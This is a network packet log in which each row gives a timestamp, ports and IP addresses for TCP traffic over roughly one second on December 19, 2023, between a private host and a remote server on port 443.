Dec 19, 2023 05:18:35.126203060 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:35.126226902 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:35.126352072 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:35.126375914 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:35.126424074 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:35.147129059 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:35.147145033 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:35.147217989 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:35.147243023 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:35.147296906 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:35.152252913 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:35.152266979 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:35.152340889 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:35.152362108 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:35.152400970 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:35.165446997 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:35.165462017 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:35.165541887 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:35.165554047 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:35.165621996 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:35.172024965 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:35.172061920 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:35.172130108 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:35.172151089 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:35.172167063 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:35.172188997 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:35.178817034 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:35.178833008 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:35.178898096 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:35.178921938 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:35.178976059 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:35.180790901 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:35.180807114 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:35.180861950 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:35.180882931 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:35.180919886 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:35.198517084 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:35.198534012 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:35.198601961 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:35.198621988 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:35.198677063 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:35.199953079 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:35.199970961 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:35.200030088 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:35.200037956 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:35.200078964 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:35.220618010 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:35.220633030 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:35.220757961 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:35.220797062 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:35.220844984 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:35.311471939 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:35.311497927 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:35.311614037 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:35.311655998 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:35.311713934 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:35.335650921 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:35.335669041 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:35.335766077 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:35.335777998 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:35.335836887 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:35.338219881 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:35.338238001 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:35.338306904 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:35.338320971 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:35.338356018 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:35.353224039 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:35.353240967 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:35.353358030 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:35.353400946 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:35.353451014 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:35.359251022 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:35.359277010 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:35.359352112 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:35.359376907 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:35.359422922 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:35.364928961 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:35.364947081 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:35.365020990 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:35.365031958 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:35.365071058 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:35.368035078 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:35.368056059 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:35.368118048 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:35.368132114 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:35.368187904 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:35.384021044 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:35.384047985 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:35.384114981 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:35.384124041 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:35.384182930 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:35.386987925 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:35.387011051 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:35.387098074 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:35.387105942 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:35.387152910 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:35.451055050 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:35.451085091 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:35.451139927 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:35.451175928 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:35.451193094 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:35.451210976 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:35.497180939 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:35.497198105 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:35.497318029 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:35.497340918 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:35.497390985 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:35.522557020 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:35.522573948 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:35.522661924 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:35.522690058 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:35.522736073 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:35.525609970 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:35.525626898 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:35.525693893 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:35.525705099 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:35.525775909 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:35.543801069 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:35.543819904 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:35.543905973 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:35.543914080 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:35.543963909 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:35.547513008 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:35.547537088 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:35.547635078 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:35.547642946 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:35.547705889 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:35.550524950 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:35.550546885 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:35.550606012 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:35.550615072 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:35.550653934 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:35.554797888 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:35.554816008 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:35.554893017 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:35.554900885 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:35.554941893 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:35.569283962 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:35.569307089 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:35.569379091 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:35.569390059 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:35.569454908 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:35.572405100 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:35.572427034 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:35.572503090 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:35.572513103 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:35.572556973 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:35.637543917 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:35.637567043 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:35.637630939 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:35.637650967 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:35.637705088 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:35.682724953 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:35.682748079 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:35.682836056 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:35.682852983 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:35.682930946 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:35.708013058 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:35.708036900 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:35.708136082 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:35.708147049 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:35.708205938 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:35.713480949 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:35.713498116 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:35.713552952 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:35.713567019 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:35.713607073 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:35.729706049 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:35.729727030 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:35.729778051 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:35.729789019 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:35.729824066 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:35.729844093 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:35.736053944 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:35.736069918 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:35.736129999 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:35.736145973 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:35.736185074 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:35.737330914 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:35.737346888 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:35.737395048 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:35.737404108 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:35.737422943 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:35.737432003 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:35.740752935 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:35.740771055 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:35.740832090 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:35.740842104 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:35.740885019 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:35.755722046 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:35.755738020 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:35.755821943 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:35.755832911 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:35.755898952 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:35.759881973 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:35.759896040 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:35.759943008 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:35.759951115 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:35.759968042 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:35.759985924 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:35.765192032 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:35.822648048 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:35.822664976 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:35.822740078 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:35.822751045 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:35.822808027 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:35.867911100 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:35.867928982 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:35.868014097 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:35.868031979 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:35.868088007 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:35.893049002 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:35.893073082 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:35.893137932 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:35.893153906 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:35.893183947 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:35.898710966 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:35.898727894 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:35.898793936 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:35.898813963 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:35.898828030 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:35.898849010 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:35.915534019 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:35.915549040 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:35.915610075 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:35.915627003 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:35.915641069 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:35.915667057 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:35.921463966 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:35.921478033 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:35.921526909 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:35.921540976 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:35.921565056 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:35.921576977 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:35.922725916 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:35.922745943 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:35.922781944 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:35.922792912 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:35.922807932 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:35.922827959 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:35.925770998 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:35.925786972 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:35.925837994 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:35.925847054 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:35.925884008 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:35.925903082 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:35.931138039 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:35.941132069 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:35.941147089 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:35.941231966 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:35.941245079 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:35.941318989 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:35.945517063 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:35.945532084 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:35.945594072 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:35.945602894 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:35.945642948 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:36.008872032 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:36.008892059 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:36.009012938 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:36.009038925 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:36.009104967 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:36.011678934 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:36.053239107 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:36.053261995 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:36.053354025 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:36.053370953 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:36.053406000 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:36.078366995 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:36.078387022 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:36.078490019 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:36.078510046 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:36.078548908 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:36.084384918 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:36.084398985 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:36.084486008 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:36.084501982 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:36.084558010 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:36.100991964 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:36.101007938 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:36.101052046 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:36.101059914 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:36.101099968 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:36.106885910 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:36.106899977 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:36.106987953 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:36.106997967 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:36.107045889 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:36.108364105 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:36.108377934 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:36.108428001 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:36.108434916 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:36.108464003 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:36.108477116 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:36.110258102 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:36.110271931 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:36.110322952 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:36.110332012 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:36.110368013 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:36.111352921 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:36.126192093 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:36.126211882 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:36.126293898 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:36.126310110 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:36.126346111 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:36.130912066 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:36.130932093 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:36.130983114 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:36.130990982 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:36.131017923 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:36.131036043 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:36.194542885 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:36.194559097 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:36.194611073 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:36.194622993 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:36.194653034 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:36.194669962 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:36.238270044 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:36.238285065 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:36.238425016 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:36.238442898 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:36.238476038 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:36.238492012 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:36.268388033 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:36.268405914 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:36.268506050 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:36.268517017 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:36.268559933 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:36.270207882 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:36.270226955 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:36.270292997 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:36.270302057 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:36.270334959 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:36.280320883 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:36.280338049 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:36.280400038 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:36.280409098 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:36.280441046 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:36.292830944 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:36.292848110 CET	443	49718	108.181.20.35	192.168.2.6
